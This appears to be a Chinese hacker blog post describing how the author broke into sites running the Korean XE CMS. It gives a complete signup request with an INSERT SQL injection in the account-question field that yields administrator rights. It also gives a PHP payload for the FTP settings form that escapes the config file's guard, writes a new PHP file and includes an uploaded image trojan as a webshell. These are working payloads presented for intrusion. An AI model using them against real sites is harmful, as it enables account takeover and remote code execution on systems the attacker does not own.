By:wooden

    一次在渗透中遇到XE的程序,查了下,发现是韩国的一套比较常见的Cms,然后尝试挖掘漏洞,可惜一通扫描,检测下来没有任何可利用的漏洞,只好求助于Google了,此injection是由韩国的一个黑客组织公布的,但是韩文不行,并且文章介绍的很简单的,唯一有用的就是给出了出漏洞的文件和代码片断...

    于是下了套cms回来看了下,挖了个Insert 型的injection...

    问题出在/xe/classes/db/DBMysql.class.php,具体是哪就不说明了,毕竟不是自己发现的

    注册时修改post:

以下是引用片段:

<?xml version="1.0" encoding="utf-8" ?>

<methodCall>

<params>

<_filter><![CDATA[signup]]></_filter>

<user_id><![CDATA[wood11]]></user_id>

<password><![CDATA[wooden]]></password>

<password2><![CDATA[wooden]]></password2>

<user_name><![CDATA[wooden]]></user_name>

<nick_name><![CDATA[wood]]></nick_name>

<email_address><![CDATA[wooden@www.com]]></email_address>

<find_account_question><![CDATA[9,10,11,12,13,14,15,16,17,18,19,20,'Y',22,23,24)#]]></find_account_question>

<find_account_answer><![CDATA[test]]></find_account_answer>

<birthday><![CDATA[20110712]]></birthday>

<allow_mailing><![CDATA[Y]]></allow_mailing>

<module><![CDATA[member]]></module>

<act><![CDATA[procMemberInsert]]></act>

</params>

</methodCall>

    这样提交后,直接就是管理员权限了。。。接下来说拿Shell

    由于韩国的那文章里并没有提及到拿shell,经过和amote一通研究后终于拿到shell。。。

    在后台的Setting设置下 有个提交Ftp信息的模块,并且是写文件的files/config/ftp.config.php,大家会认为直接写个一句话上去就完事了,一开始我也这么认为的,但是请看提交后的代码:

以下是引用片段:

<?php if(!defined("__ZBXE__")) exit();

$ftp_info->ftp_user = 'as';

$ftp_info->ftp_port = 'asd';

$ftp_info->ftp_host = 'asd';

$ftp_info->ftp_pasv = 'Y';

$ftp_info->ftp_root_path = 'ss‘

?>

    关键在于开始的判断if(!defined("__ZBXE__")) exit();,很明显,如果直接访问的话,程序直接退出,无论你提交什么都没意义,思路在这本来是断了的,于是继续翻代码

    发现大部分配置文件都有这个判断,那么问题就好解决了,只要找到这个文件的宿主调用页,也就是定义了ZBXE标识的主文件并且让他调用ftp.config.php 就可以让代码执行了。。。

    追了几段代码,终于在index.php 的modules模块里发现了宿主函数:index.php?module=admin&act=dispAdminConfig  那么只需要调用这个函数 他就会向ftp.config.php赋予zbxe,自然的,插入的一句话就可以执行了

    但是,别高兴太早,在插入一句话的时候,发现程序过滤了很多东西例如$,&,@等一系列特殊符号,那么类似于<?php eval($_POST[c])?>等带有特殊符号的一句话木马都无法插入,并且Gpc开启,'也会被转义

    必须得符合以下条件:

    插入的代码不能带有$,&,@等特殊符号

    无法使用' 号      ----ps:gpc开启

    由于文件是在php代码内所以必须前后闭合,并且不能让文件报错

    Ok,研究后发现 插入一句话木马是不可能的了,好吧,不废话了,直接放出最后研究出的代码吧:

以下是引用片段:

ss\'; define("__ZBXE__","Hello world!");?><?php fputs(fopen("Wooden.php","w"),"<?include \"files/attach/images/55520/491/092/dd084814f98d139fa5aae08414b75ea4.gif\";?>")?><?//;

    注意开头的\' ,由于gpc为on的特性, '号将被转移成\' 加上我们自己提交的\ 即为\\' ,反之,单独提交' 来闭合会让程序报错,原理就不解释了,这样调用后会在根目录生成一个Wooden.php的文件,在此之前,还需要在后台开启文件上传,并且上传一个php木马的图片文件,接着在include中输入木马的路径,注意,由于gpc的缘故必须使用双引号,但是多层嵌套的双引号会报错,所以必须对include下的双引号进行转义

    Ok,提交后访问Wooden.php  一个本地包含的webshell出现了

    文章到此结束,不得不承认,过程相当曲折:)